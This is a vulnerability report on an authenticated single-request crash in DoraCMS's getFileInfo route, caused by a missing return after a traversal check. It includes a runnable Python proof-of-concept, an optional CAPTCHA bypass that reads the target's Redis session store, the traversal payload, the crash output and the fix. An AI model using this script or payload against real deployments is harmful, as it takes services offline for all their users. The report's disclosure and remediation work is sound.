| Field | Value |
|---|---|
| Product | DoraCMS |
| Vendor / GitHub | https://github.com/doramart/DoraCMS |
| Vulnerability class | CWE-460 (Improper Cleanup on Thrown Exception) / CWE-248 (Uncaught Exception) resulting from CWE-670 (Always-False Control Flow Implication — a security check whose "deny" branch fails to halt execution) |
| Vulnerable route | GET /admin/manage/contentTemps/getFileInfo |
| Affected component | routes/admin.js (source) → util/system.js#readFile (sink) |
| Verified commit | cdbdcaa3 (package.json "version": "1.1.1") |
| Affected version range | The ../ blacklist check (and its missing return) was introduced in DoraCMS v1.1.1 (commit 49a987f, 2016-03-20) and remained unpatched through the last commit of the Express/EJS codebase before it was replaced by an unrelated rewrite (commit 2f88ecb, "清空目录", 2017-09-05). Note: the immediately preceding release, v1.1.0 (commit f70c5fc, 2016-01-04), has a distinct and more severe issue on this same route — filePath was used with no traversal filtering or base-directory restriction at all — which is not the subject of this report but is worth flagging separately. As with the sibling report on filesList/updateFileInfo, releases from the 2.x/EggJS rewrite onward do not contain this code and are unaffected. |
| CVSS 3.1 Base Score | 6.5 (Medium) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| Reported by | Verified via local dynamic reproduction against a full, unmodified deployment (Node.js + MongoDB + Redis), 2026-07-17 |
routes/admin.js implements a ../ traversal blacklist on the filePath
query parameter before using it to build a filesystem path:
if((params.query.filePath).indexOf('../') >= 0){
res.end(settings.system_noPower);
}
var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
if(path){
system.readFile(req,res,path);
}The intent is clearly to reject the request when ../ is present. However,
the if block that calls res.end() has no return statement.
res.end() only flushes/closes the current HTTP response — it does not
stop JavaScript execution. As a result, even when the blacklist correctly
detects a traversal attempt, the handler keeps running, computes path
from the still-tainted params.query.filePath, and unconditionally calls
system.readFile(req, res, path).
system.readFile (util/system.js:230-247) does:
readFile: function(req, res, path) {
if (fs.existsSync(path)) {
fs.readFile(path, "binary", function(error, data) {
...
return res.json({ fileData: newData }) // <-- L239
...
});
} else {
res.end(settings.system_illegal_param);
}
},If the traversal-resolved path exists on disk, execution reaches the
asynchronous fs.readFile callback, which calls res.json(...) on a
response object whose headers have already been sent by the earlier,
synchronous res.end() call. Node's HTTP layer throws
Error [ERR_HTTP_HEADERS_SENT] from inside that callback. Nothing in the
call chain (util/system.js → fs.readFile callback → FSReqWrap) catches
this exception. On this codebase's Node.js/Express stack, an uncaught
exception thrown from an I/O callback is fatal to the process: the entire
Node.js process crashes, taking the whole DoraCMS instance offline for
every user — not just the requester.
This is a single-request, deterministic denial of service, not a resource exhaustion / flood-based DoS. No repeated requests or elevated request rate are required.
Note: the same "no return after the blacklist's res.end()" pattern also
exists in the sibling write route POST /admin/manage/contentTemps/updateFileInfo
(routes/admin.js:1437-1449, using system.writeFile, whose async callback
calls res.end("success") under the same conditions). This report focuses
on and dynamically verifies the read route (getFileInfo) because it was
the one reproduced end-to-end; the write route is structurally identical
and is flagged here as a related, not-independently-verified finding for
the vendor to fix in the same pass.
- Confirmed (dynamically verified): a single HTTP GET request from an
authenticated back-office account holding only the
contentManage_temp_1_viewpermission bit (view-only on the "template configuration" module — not a super-admin privilege) crashes the entire Node.js process. The service is completely unavailable to all users (including unauthenticated front-end visitors) until an operator or process manager (pm2, systemd, etc.) restarts it. - If the deployment does not run under a process supervisor configured to auto-restart on crash, this results in a full, persistent outage requiring manual intervention.
- No data is corrupted or exfiltrated by this specific crash path — the
intended information disclosure (reading
pathvia traversal) never reaches the client, because the process dies before the asyncres.json()call can complete successfully.
- Attacker must possess valid credentials for a DoraCMS back-office
(
/admin) account whose group'spowerstring includescontentManage_temp_1_view:true. This is the read-only "view" bit on the template-configuration module — one of the lowest-privilege bits in the admin permission model. (Dynamically confirmed: an unauthenticated request to this endpoint is redirected to the login page by the globalfilter.authUsermiddleware and never reaches the vulnerable code; the process is unaffected.) - The traversal-resolved target path must point to a file that already
exists on the target's filesystem — this is a strict precondition,
dynamically confirmed (see verification steps below): if the resolved
path does not exist, the handler's
elsebranch callsres.end()synchronously and the double-res.end()is silently absorbed, with no crash. - Computing the resolved base directory requires understanding
adminFunc.getTempBaseFile()'s (accidentally) traversal-sensitive logic — see "Proof of Concept" below for the exact mechanics. In short, an attacker only needs to know (or guess) the existence of some file reachable via../frompublic/themes/orviews/web/temp/; on a default install, the project root itself (containingpackage.json,app.js, etc.) is one../away frompublic/themes/and trivially guessable, making this precondition easy to satisfy in practice.
routes/admin.js, lines 1415–1434 (commit cdbdcaa3):
1415: router.get('/manage/contentTemps/getFileInfo', function(req, res) {
1416:
1417: if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_view')){
1418: var params = url.parse(req.url,true);
1419: if((params.query.filePath).indexOf('../') >= 0){
1420: res.end(settings.system_noPower); // <-- no `return` here
1421: }
1422:
1423: var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
1424: if(path){
1425: system.readFile(req,res,path); // <-- reached unconditionally
1426: }else{
1427: res.end(settings.system_noPower);
1428: }
1429: }else{
1430: return res.json({
1431: fileData : {}
1432: })
1433: }
1434: });Related helper, models/db/adminFunc.js:298-307:
298: getTempBaseFile : function(path){
299: var thisType = (path).split('.')[1];
300: var basePath;
301: if(thisType == 'ejs'){
302: basePath = settings.SYSTEMTEMPFORDER;
303: }else{
304: basePath = settings.TEMPSTATICFOLDER;
305: }
306: return basePath;
307: },util/system.js, lines 230–247 (function readFile):
230: readFile: function(req, res, path) { // 文件读取
231: if (fs.existsSync(path)) {
232: fs.readFile(path, "binary", function(error, data) {
233: if (error) {
234: console.log(err)
235: } else {
236: //处理中文乱码问题
237: var buf = new Buffer(data, 'binary');
238: var newData = iconv.decode(buf, 'utf-8');
239: return res.json({
240: fileData: newData
241: })
242: }
243: });
244: } else {
245: res.end(settings.system_illegal_param);
246: }
247: },Line 239 (res.json(...)) is where the uncaught ERR_HTTP_HEADERS_SENT
exception is actually thrown, crashing the process.
HTTP GET /admin/manage/contentTemps/getFileInfo?filePath=/../victim_secret.ejs
└─ app.js:143 app.use('/admin', admin)
└─ routes/admin.js:1415 router.get('/manage/contentTemps/getFileInfo', handler)
├─ routes/admin.js:1417 adminFunc.checkAdminPower(req, 'contentManage_temp_1_view') -> true
├─ routes/admin.js:1419 ('../' detected in filePath) -> true
├─ routes/admin.js:1420 res.end(settings.system_noPower) [1st response sent, headers flushed]
│ (NO RETURN — execution falls through)
├─ routes/admin.js:1423 path = getTempBaseFile(filePath) + filePath [still traversal-tainted]
├─ routes/admin.js:1425 system.readFile(req, res, path)
│ └─ util/system.js:231 fs.existsSync(path) -> true (target file exists on disk)
│ └─ util/system.js:232 fs.readFile(path, "binary", callback) [async]
│ └─ [event loop, I/O completes]
│ └─ util/system.js:239 res.json({fileData: newData}) [2nd response attempt]
│ └─ express/lib/response.js:237 res.json -> res.header -> res.setHeader
│ └─ node:_http_outgoing.js:470
│ throw Error [ERR_HTTP_HEADERS_SENT] <-- UNCAUGHT
│ └─ process crashes (fatal, no domain/try-catch anywhere in chain)
Reproduced end-to-end against the same full, unmodified DoraCMS deployment used for the sibling path-traversal report:
- Source: commit
cdbdcaa3, Node.js v10.24.1, MongoDB 4.4 (Docker), Redis 6 (Docker). - Admin account
testadmin, group permission string extended to includecontentManage_temp_1_view:trueandcontentManage_temp_1_modify:true(view/modify on the template-configuration module only — a low, non-super-admin privilege), to accurately model minimum-privilege exploitation.
- Baseline (in-bounds read): authenticated request with
filePath=/baseline_test.ejs(an existing file placed directly underviews/web/temp/) → server returned{"fileData":"baseline-ejs-content\n"}, HTTP 200. Confirms the endpoint and account are correctly wired, and that.ejsfiles are normally served fromSYSTEMTEMPFORDERas expected. - Determined the actual traversal-resolved path: because the payload
/../victim_secret.ejsitself contains.characters, it interferes withadminFunc.getTempBaseFile()'spath.split('.')[1]type-sniffing logic —"/../victim_secret.ejs".split('.')yields['/', '', '/victim_secret', 'ejs'], sosplit('.')[1]is'', not'ejs'. This routes the base directory tosettings.TEMPSTATICFOLDER(public/themes/) instead ofSYSTEMTEMPFORDER. The final resolved path (after Node's path handling of the resulting stringpublic/themes//../victim_secret.ejs) ispublic/victim_secret.ejs. A target file was placed at that exact location. - Unauthenticated control group: identical request without a session
→ redirected to
/admin(HTTP 302) by global auth middleware before ever reaching the route; server remained fully healthy afterward. Confirms the crash requires an authenticated, permission-bearing session. - Authenticated exploitation — target file exists: authenticated
request with
filePath=/../victim_secret.ejs, target file present atpublic/victim_secret.ejs→ client received对不起,您无权执行该操作!(the first, synchronousres.end()); server log then showed:followed immediately by process termination — confirmed viaError [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client at ServerResponse.setHeader (_http_outgoing.js:470:11) at ServerResponse.header (.../express/lib/response.js:700:10) at ServerResponse.json (.../express/lib/response.js:237:10) ... at util/system.js:239:32 at FSReqWrap.readFileAfterClose [as oncomplete] (internal/fs/read_file_context.js:53:3)ps -p <pid>(process gone) and a subsequent HTTP request to the service root failing with connection refused. - Reproducibility: the server process was restarted and step 4 was repeated with a fresh authenticated session — it crashed again, with the identical stack trace, confirming this is a deterministic, 100%-reproducible single-request DoS, not a race condition or fluke.
- Negative control — target file does not exist: authenticated
request with
filePath=/../this_file_does_not_exist_xyz.ejs(resolves to a non-existent path) → client received对不起,您无权执行该操作!, and the server remained alive and responsive afterward. This isolates the precondition precisely: the crash requires the traversal-resolved path to exist on disk, because only thefs.existsSync() === truebranch reaches the asynchronousfs.readFilecallback where the fatal double-response occurs; theelsebranch'sres.end()is synchronous and its redundant call is silently absorbed by Node without throwing.
#!/usr/bin/env python3
"""
PoC: DoraCMS Authenticated Denial of Service via Missing `return` After
Path-Traversal Blacklist Check (Double HTTP Response -> Uncaught
Exception -> Process Crash)
Target route : GET /admin/manage/contentTemps/getFileInfo
Sink : util/system.js -> system.readFile()
Source : routes/admin.js -> router.get('/manage/contentTemps/getFileInfo', ...)
Root cause:
routes/admin.js checks the `filePath` query parameter for a `../`
traversal attempt and calls res.end() on a match -- but the `if` block
has NO `return` statement, so execution falls through to the rest of
the handler regardless of whether the check matched:
if((params.query.filePath).indexOf('../') >= 0){
res.end(settings.system_noPower); // <-- ends the response...
}
// ...but execution continues unconditionally:
var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
if(path){
system.readFile(req,res,path); // <-- still invoked!
}
system.readFile() calls fs.existsSync(path); if the (traversal-resolved)
path exists on disk, it proceeds to the ASYNCHRONOUS fs.readFile()
callback, which calls res.json({fileData: newData}) -- on a response
object whose headers were already sent by the earlier res.end(). This
throws an uncaught Error [ERR_HTTP_HEADERS_SENT] inside the fs callback
(util/system.js:239, inside FSReqWrap's oncomplete), which is not
wrapped in any try/catch anywhere in the call chain. On this Node.js/
Express stack, an uncaught exception in an async callback crashes the
entire process -- taking down the whole DoraCMS instance for every
user, not just the attacker's own request.
The `../` blacklist itself is otherwise identical to (and copy-pasted
from) the sibling `contentTemps/updateFileInfo` write route and the
`filesList/*` routes, all of which have the same "no return after
res.end()" pattern -- this report demonstrates it against the read
route because that is the reliably reproducible one (see notes below
on the file-must-exist precondition).
Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081.
Confirmed reproducible: repeated restarts of the target process followed by
the same authenticated request crash it every time the traversal-resolved
path exists on disk; requests where the resolved path does NOT exist do
NOT crash the process (that branch's res.end() call is synchronous, so the
double-call is silently absorbed and does not throw).
Usage (network-only, CAPTCHA value known/solved out of band):
python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
--base-url http://127.0.0.1:8081 \
--username testadmin --password doracms123 --vnum abcd \
--traversal-path "/../victim_secret.ejs"
Usage (already-authenticated session cookie):
python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
--base-url http://127.0.0.1:8081 --cookie "<connect.sid value>" \
--traversal-path "/../victim_secret.ejs"
Usage (authorized lab testing only -- auto-resolve the CAPTCHA via Redis,
exactly as this PoC's author did during verification):
python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
--base-url http://127.0.0.1:8081 \
--username testadmin --password doracms123 \
--redis-container dora-redis \
--traversal-path "/../victim_secret.ejs"
Important note on --traversal-path:
The resolved base directory depends on the LAST '.'-delimited segment
of the filePath string as parsed by adminFunc.getTempBaseFile(), i.e.
`filePath.split('.')[1]`. Because the payload itself contains "..",
this split is affected by the payload's own dots:
"/../victim_secret.ejs".split('.') -> ['/', '', '/victim_secret', 'ejs']
split('.')[1] == '' (not 'ejs') -> base dir resolves to
settings.TEMPSTATICFOLDER ('public/themes/'), NOT
settings.SYSTEMTEMPFORDER ('views/web/temp/') despite the .ejs
extension. The final resolved path after Node's own path handling
is: public/themes/ + "/../victim_secret.ejs" -> public/victim_secret.ejs
The target file must already exist at the path your specific payload
actually resolves to -- compute it for your payload the same way
adminFunc.getTempBaseFile() does before relying on this PoC.
Requirements:
- requests (pip install requests)
- Target account must already exist and hold the
'contentManage_temp_1_view' permission bit in its admin group.
"""
import argparse
import re
import subprocess
import sys
import time
import urllib.parse
import requests
def resolve_vnum_via_redis(session: requests.Session, redis_container: str,
redis_host: str, redis_port: int) -> str:
"""Lab-only helper, see poc_CVE-PENDING_dorascms_path_traversal.py for details."""
raw_cookie = session.cookies.get("connect.sid")
if not raw_cookie:
raise RuntimeError("No connect.sid cookie set on session yet; GET /admin first.")
decoded = urllib.parse.unquote(raw_cookie)
real_sid = decoded.split(":", 1)[1].split(".")[0]
if redis_container:
cmd = ["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{real_sid}"]
else:
cmd = ["redis-cli", "-h", redis_host, "-p", str(redis_port), "get", f"sess:{real_sid}"]
out = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
match = re.search(r'"vnum":"(\w+)"', out.stdout)
if not match:
raise RuntimeError(f"Could not extract vnum from session doc: {out.stdout!r}")
return match.group(1)
def login(session: requests.Session, base_url: str, username: str, password: str, vnum: str) -> bool:
resp = session.post(
f"{base_url}/admin/doLogin",
data={"userName": username, "password": password, "vnum": vnum},
timeout=10,
)
return resp.text.strip() == "success"
def check_alive(base_url: str, timeout: float = 5.0) -> bool:
try:
r = requests.get(base_url + "/", timeout=timeout)
return r.status_code != 0
except requests.RequestException:
return False
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--base-url", default="http://127.0.0.1:8081", help="DoraCMS base URL")
parser.add_argument("--username", help="Admin account with contentManage_temp_1_view permission")
parser.add_argument("--password", help="Admin account password (plaintext, pre-encryption)")
parser.add_argument("--vnum", default=None, help="Known/solved login CAPTCHA value")
parser.add_argument("--cookie", default=None, help="Pre-authenticated connect.sid cookie value")
parser.add_argument(
"--redis-container", default=None,
help="Lab-only: docker container name running the target's Redis session store, "
"used to auto-resolve the CAPTCHA. Do not use against real remote targets.",
)
parser.add_argument("--redis-host", default="127.0.0.1", help="Lab-only: Redis host")
parser.add_argument("--redis-port", type=int, default=6379, help="Lab-only: Redis port")
parser.add_argument(
"--traversal-path", default="/../victim_secret.ejs",
help="filePath query value. Must resolve (per adminFunc.getTempBaseFile's split-on-'.' "
"logic, see module docstring) to a path that already exists on disk.",
)
args = parser.parse_args()
print(f"[*] Pre-flight: checking target is alive at {args.base_url} ...")
if not check_alive(args.base_url):
print("[!] Target does not appear to be up before we've even sent anything. Aborting.", file=sys.stderr)
return 1
print("[+] Target is up.")
session = requests.Session()
if args.cookie:
session.cookies.set("connect.sid", args.cookie)
print("[*] Using supplied authenticated session cookie.")
else:
if not args.username or not args.password:
print("[!] --username/--password required unless --cookie is supplied.", file=sys.stderr)
return 2
print("[*] Fetching login page to establish session ...")
session.get(f"{args.base_url}/admin", timeout=10).raise_for_status()
vnum = args.vnum
if not vnum:
if not args.redis_container and args.redis_host == "127.0.0.1":
print(
"[!] No --vnum and no --redis-container supplied. Pass --vnum with a "
"known/solved value, or (authorized lab testing only) --redis-container.",
file=sys.stderr,
)
return 2
print("[*] Resolving CAPTCHA from Redis session store (lab-only helper) ...")
vnum = resolve_vnum_via_redis(session, args.redis_container, args.redis_host, args.redis_port)
print(f"[*] Resolved vnum: {vnum}")
print(f"[*] Logging in as '{args.username}' ...")
if not login(session, args.base_url, args.username, args.password, vnum):
print("[!] Login failed. Check credentials / vnum.", file=sys.stderr)
return 1
print("[+] Login successful, admin session established.")
print(f"[*] Sending DoS trigger request: filePath={args.traversal_path!r}")
try:
resp = session.get(
f"{args.base_url}/admin/manage/contentTemps/getFileInfo",
params={"filePath": args.traversal_path},
timeout=10,
)
print(f"[*] Server response (first res.end): HTTP {resp.status_code}, body: {resp.text!r}")
except requests.RequestException as e:
print(f"[*] Request itself errored (this can happen if the crash races the response): {e}")
print("[*] Waiting 2s for the async fs.readFile callback to fire server-side and crash the process ...")
time.sleep(2)
print("[*] Re-checking target liveness ...")
alive = check_alive(args.base_url)
if alive:
print(
"[-] Target still responds. DoS did not trigger -- most likely the traversal-resolved "
"path does not exist on the target filesystem (system.readFile requires "
"fs.existsSync(path) === true to reach the crashing async branch). See the "
"module docstring for how the base directory is computed."
)
return 1
else:
print("[+] Target is DOWN. Denial of Service CONFIRMED: the process crashed as a result "
"of the single authenticated request above.")
return 0
if __name__ == "__main__":
raise SystemExit(main())
It was executed as a standalone script against the reproduction environment described above and produced:
[*] Pre-flight: checking target is alive at http://127.0.0.1:8081 ...
[+] Target is up.
[*] Fetching login page to establish session ...
[*] Resolving CAPTCHA from Redis session store (lab-only helper) ...
[*] Resolved vnum: yk42
[*] Logging in as 'testadmin' ...
[+] Login successful, admin session established.
[*] Sending DoS trigger request: filePath='/../victim_secret.ejs'
[*] Server response (first res.end): HTTP 200, body: '对不起,您无权执行该操作!'
[*] Waiting 2s for the async fs.readFile callback to fire server-side and crash the process ...
[*] Re-checking target liveness ...
[+] Target is DOWN. Denial of Service CONFIRMED: the process crashed as a result of the single authenticated request above.
GET /admin/manage/contentTemps/getFileInfo?filePath=%2f..%2fvictim_secret.ejs HTTP/1.1
Host: <target>
Cookie: connect.sid=<authenticated session with contentManage_temp_1_view permission>
Where victim_secret.ejs is any file that already exists at
public/themes/../<name> relative to the deployment root (i.e., in the
deployment's public/ directory) — see the "traversal-resolved path"
mechanics in the module docstring / verification step 2 above for computing
the correct target for a different filename/extension.
Add a return statement immediately after res.end(settings.system_noPower)
in the traversal check, so the handler actually stops processing the
request once a ../ sequence is detected:
if((params.query.filePath).indexOf('../') >= 0){
return res.end(settings.system_noPower);
}The same fix is needed in the structurally identical sibling route
POST /admin/manage/contentTemps/updateFileInfo (routes/admin.js:1440).
As defense in depth (and to fix the underlying traversal issue itself, not
just the crash it currently causes), replace the indexOf('../')
blacklist with resolving the final path via path.resolve()/
path.normalize() and verifying it is still contained within the intended
base directory before touching the filesystem — consistent with the
recommendation in the sibling filesList/updateFileInfo path-traversal
report.
More generally, wrapping the top-level request handler (or the process itself, via a supervisor with health checks) so that a single uncaught exception in an I/O callback cannot take down the entire process would reduce the blast radius of any future instance of this same coding pattern.
- 2026-07-17: Vulnerability identified while reviewing a static taint analysis report for a related path-traversal finding on the same file; independently confirmed via full dynamic reproduction (including deliberate re-crash to confirm determinism) in an isolated local lab environment (no production/third-party systems involved). No vendor disclosure performed as part of this report.